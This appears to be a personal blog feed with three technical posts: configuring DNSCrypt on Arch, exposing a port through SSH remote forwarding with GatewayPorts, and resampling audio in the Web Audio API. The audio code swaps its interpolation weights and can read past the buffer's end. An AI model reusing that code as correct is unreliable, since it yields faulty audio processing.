<p>When you have enabled dnscrypt-proxy.socker, now, you need to make your computer use DNSCrypt DNS as main DNS.</p>
<p>On arch, we use resolvconf to generate <code class="language-plaintext highlighter-rouge">resolv.conf</code>.</p>
<p>To set your DNS to localhost, you need to edit <code class="language-plaintext highlighter-rouge">/etc/resolvconf.conf</code> and set:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>name_servers=127.0.0.1
</code></pre></div></div>
<p>Only one more thing to do is to change your DNSCrypt DNS servers.</p>
<p>I love to use opennic ones, so, I set them to: (<code class="language-plaintext highlighter-rouge">/etc/dnscrypt-proxy/dnscrypt-proxy.toml</code>):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>server_names = ['opennic-luggs', 'fvz-anyone', 'opennic-famicoman']
</code></pre></div></div>nemanjan00When you open your web browser and type pornhub.com into your address bar, what happens in most networks is, your PC asks your router: “Hey, router, what is the address of pornhub.com? “ In case your router knows the address, it will send the response to you. If it does not know, it will ask your ISPs DNS server.Portforward using ssh2017-10-23T00:00:00+00:002017-10-23T00:00:00+00:00https://nemanja.top/2017/10/23/portforward-using-ssh<p>If you ever had to do portforwarding on network that was not yours, you know it can be pain in the ass sometimes and you most probbably do not want to deal with it. o</p>
<p>This method is very easy to do and will allow you to expose your port to public and even stop local computers from sniffing data to and from that port.</p>
<h2 id="how-is-this-done-in-theory">How is this done in theory</h2>
<p>Well, if you ever used SSH, you probbaly know it is just encrypted tunnel…</p>
<p>What you maybe did not know is that it can carry a lot more than text. (you cna use it to copy files, to open graphical application, as a SOCKS proxy, etc.)</p>
<p>One of things a lot of people do not know about is that you can also use SSH to forward ports from one side of tunnel to another…</p>
<p>Lets say your computer can access some port and someone in network you are connecting to can not…</p>
<p>What you can do is specify port forwarding in SSH configuration.</p>
<p>Let’s say you want to forward local port to WAN…</p>
<p>What happens is remote machine you are connected to will listen on specified port and when someone connect to that port, your computer will connect to local port and data will be tunneled inside SSH.</p>
<h2 id="how-to-do-this-in-practice">How to do this in practice</h2>
<p>This is actually very simple</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-R</span> 221:localhost:22 server
</code></pre></div></div>
<p>This will make server listen on port 221 and when someone connects to it, you will connect to localhost:22 and connection will be established.</p>
<p>One small trick is that in OpenSSH (implementation of SSH cost often used) server will listen only on loopback interface (localhost) and not on other interfaces.</p>
<p>To solve this, we need to add:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GatewayPorts yes
</code></pre></div></div>
<p>to the end of <code class="language-plaintext highlighter-rouge">/etc/ssh/sshd_config</code> and restart SSH server. (<code class="language-plaintext highlighter-rouge">systemctl restart sshd</code> for SystemD or <code class="language-plaintext highlighter-rouge">service ssh restart</code>)</p>nemanjan00If you ever had to do portforwarding on network that was not yours, you know it can be pain in the ass sometimes and you most probbably do not want to deal with it. oAudio scaling2017-10-20T00:00:00+00:002017-10-20T00:00:00+00:00https://nemanja.top/2017/10/20/audio-scaling<p>Hi guys, what I had to do few days ago is dynamically change speed of audio playback.</p>
<h2 id="terminology">Terminology</h2>
<p>Sample is sound amplitude.</p>
<p>Audio file is just encoded/compressed list of samples.</p>
<p>Samplerate is number of samples per second. (the one I will be using is 44100)</p>
<p>Buffer is Array of samples that are going to go out of your speaker. (Common sizes are 256, 512, 1024, etc. sample rates)</p>
<h2 id="what-did-i-end-up-using">What did I end up using?</h2>
<p>Technology I was using for that is <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>.</p>
<h2 id="audionode">AudioNode</h2>
<p>AudioNode is basicaly Object which you pipe audio into and/or get audio out of it.</p>
<p>AudioNodes connect to each other just like any audio equipment would in real life.</p>
<p>For example you maybe have microphone, speaker, spectrum analyzer with passthrough and amplifier.</p>
<p>You can connect for example microphone -> amplifier -> spectrum analyzer -> speaker</p>
<h2 id="getting-audio-inside-system">Getting audio inside system</h2>
<p>What most of the people in Web Audio API would use if they wanted to play music inside it is <code class="language-plaintext highlighter-rouge">MediaElementAudioSourceNode</code> (implementation of AudioNode that gets sound from HTML5 <code class="language-plaintext highlighter-rouge">audio</code> tag).</p>
<p>It simply plays audio and that is it.</p>
<p>Problem with this one is that it is impossible to change speed. (might be possible to slow it down, but I did not find any ways to make it play music faster)</p>
<h3 id="decodeaudiodata">decodeAudioData</h3>
<p>What I ended up doing is getting mp3 using XHR as ArrayBuffer and running decodeAudioData from audio context on it.</p>
<p>That gave me back buffer containing whole audio:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">url</span><span class="p">){</span>
<span class="k">return</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">((</span><span class="nx">resolve</span><span class="p">,</span> <span class="nx">reject</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">audioCtx</span> <span class="o">=</span> <span class="k">new</span> <span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">AudioContext</span> <span class="o">||</span> <span class="nb">window</span><span class="p">.</span><span class="nx">webkitAudioContext</span><span class="p">)();</span> <span class="c1">// Getting audio context. Anything you do with Web Audio API requires use of audio context</span>
<span class="kd">const</span> <span class="nx">xhr</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
<span class="nx">xhr</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">'</span><span class="s1">GET</span><span class="dl">'</span><span class="p">,</span> <span class="nx">url</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="nx">xhr</span><span class="p">.</span><span class="nx">responseType</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">arraybuffer</span><span class="dl">'</span><span class="p">;</span> <span class="c1">// This will make sure I get response in format I need for passing it to Web Audio API</span>
<span class="nx">xhr</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">audioData</span> <span class="o">=</span> <span class="nx">xhr</span><span class="p">.</span><span class="nx">response</span><span class="p">;</span>
<span class="nx">audioCtx</span><span class="p">.</span><span class="nx">decodeAudioData</span><span class="p">(</span><span class="nx">audioData</span><span class="p">,</span> <span class="kd">function</span><span class="p">(</span><span class="nx">buffer</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// This will decode that audio file and return buffer using callback. </span>
<span class="nx">resolve</span><span class="p">(</span><span class="nx">buffer</span><span class="p">);</span>
<span class="p">},</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">){</span>
<span class="nx">reject</span><span class="p">(</span><span class="nx">e</span><span class="p">);</span>
<span class="p">});</span>
<span class="p">};</span>
<span class="nx">xhr</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>
<span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>
<p>What I can do now is take data from buffer at any rate.</p>
<h2 id="scaling-audio-using-input-audio-buffer">Scaling audio using input audio buffer</h2>
<p>Now that I have list of amplitudes I can play that audio back.</p>
<p>Web Audio API does not have any way to generate sound, just process it (at least I did not find anything like that).</p>
<p>What I ended up doing is using ScriptProcessor (AudioNode for transforming sound).</p>
<p>I did not hook up any audio sources to it, just hooked it up to sink.</p>
<p>transformationFunction is function that is getting called each time you need to process audio. Inside it I am taking audio from music buffer and putting it into output buffer.</p>
<h3 id="calculating-sample-in-output-buffer">Calculating sample in output buffer</h3>
<p>What I have is huge buffer that contains song and I have very small buffer I am writing to.</p>
<p>I have counter <code class="language-plaintext highlighter-rouge">i</code> which tells me where I am inside input buffer.</p>
<p>What I do is iterate inside output buffer and calculate what I want to take from input buffer for that sample.</p>
<p>Let’s say playback speed is 1.5.</p>
<p>What I need to put into output buffer are samples 1.5, 3, 4.5, etc.</p>
<p>But, there are samples 1 and 2, and there is no sample 1.5, what do I do now?</p>
<p>Well, what you can do is:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sample = 0.5 * input[0] + 0.5 * input[1];
</code></pre></div></div>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">audioCtx</span><span class="p">,</span> <span class="nx">buffer</span><span class="p">,</span> <span class="nx">outputNode</span><span class="p">){</span>
<span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">cnt</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">speed</span> <span class="o">=</span> <span class="p">{</span>
<span class="na">speed</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
<span class="na">playing</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
<span class="na">buffer</span><span class="p">:</span> <span class="kc">undefined</span><span class="p">,</span>
<span class="na">transformationFunction</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">audioProcessingEvent</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">outputBuffer</span> <span class="o">=</span> <span class="nx">audioProcessingEvent</span><span class="p">.</span><span class="nx">outputBuffer</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">buffer</span> <span class="o">=</span> <span class="nx">speed</span><span class="p">.</span><span class="nx">buffer</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">oldI</span> <span class="o">=</span> <span class="nx">i</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">end</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="nx">chan</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">chan</span> <span class="o"><</span> <span class="mi">2</span><span class="p">;</span> <span class="nx">chan</span><span class="o">++</span><span class="p">){</span>
<span class="nx">i</span> <span class="o">=</span> <span class="nx">oldI</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">position</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">input</span> <span class="o">=</span> <span class="nx">buffer</span><span class="p">.</span><span class="nx">getChannelData</span><span class="p">(</span><span class="nx">chan</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">out</span> <span class="o">=</span> <span class="nx">outputBuffer</span><span class="p">.</span><span class="nx">getChannelData</span><span class="p">(</span><span class="nx">chan</span><span class="p">);</span>
<span class="k">do</span> <span class="p">{</span>
<span class="nx">i</span> <span class="o">+=</span> <span class="nx">speed</span><span class="p">.</span><span class="nx">speed</span> <span class="o">*</span> <span class="nx">speed</span><span class="p">.</span><span class="nx">playing</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="nx">i</span> <span class="o"><</span> <span class="mi">0</span> <span class="o">||</span> <span class="nx">i</span> <span class="o">>=</span> <span class="nx">input</span><span class="p">.</span><span class="nx">length</span><span class="p">){</span>
<span class="nx">end</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
<span class="nx">speed</span><span class="p">.</span><span class="nx">playing</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">end</span><span class="p">){</span>
<span class="kd">let</span> <span class="nx">floor</span> <span class="o">=</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">(</span><span class="nx">i</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">diff</span> <span class="o">=</span> <span class="nx">i</span> <span class="o">-</span> <span class="nx">floor</span><span class="p">;</span>
<span class="nx">out</span><span class="p">[</span><span class="nx">position</span><span class="p">]</span> <span class="o">=</span> <span class="nx">input</span><span class="p">[</span><span class="nx">floor</span><span class="p">]</span> <span class="o">*</span> <span class="nx">diff</span> <span class="o">+</span> <span class="nx">input</span><span class="p">[</span><span class="nx">floor</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">*</span> <span class="p">(</span><span class="mi">1</span> <span class="o">-</span> <span class="nx">diff</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nx">out</span><span class="p">[</span><span class="nx">position</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">position</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span> <span class="k">while</span><span class="p">(</span><span class="nx">position</span> <span class="o"><</span> <span class="nx">out</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">},</span>
<span class="na">init</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">audioCtx</span><span class="p">,</span> <span class="nx">buffer</span><span class="p">,</span> <span class="nx">outputNode</span><span class="p">){</span>
<span class="kd">const</span> <span class="nx">scriptNode</span> <span class="o">=</span> <span class="nx">audioCtx</span><span class="p">.</span><span class="nx">createScriptProcessor</span><span class="p">(</span><span class="mi">512</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
<span class="nx">speed</span><span class="p">.</span><span class="nx">buffer</span> <span class="o">=</span> <span class="nx">buffer</span><span class="p">;</span>
<span class="nx">scriptNode</span><span class="p">.</span><span class="nx">onaudioprocess</span> <span class="o">=</span> <span class="nx">speed</span><span class="p">.</span><span class="nx">transformationFunction</span><span class="p">;</span>
<span class="nx">scriptNode</span><span class="p">.</span><span class="nx">connect</span><span class="p">(</span><span class="nx">outputNode</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">speed</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">speed</span><span class="p">.</span><span class="nx">init</span><span class="p">(</span><span class="nx">audioCtx</span><span class="p">,</span> <span class="nx">buffer</span><span class="p">,</span> <span class="nx">outputNode</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>nemanjan00Hi guys, what I had to do few days ago is dynamically change speed of audio playback.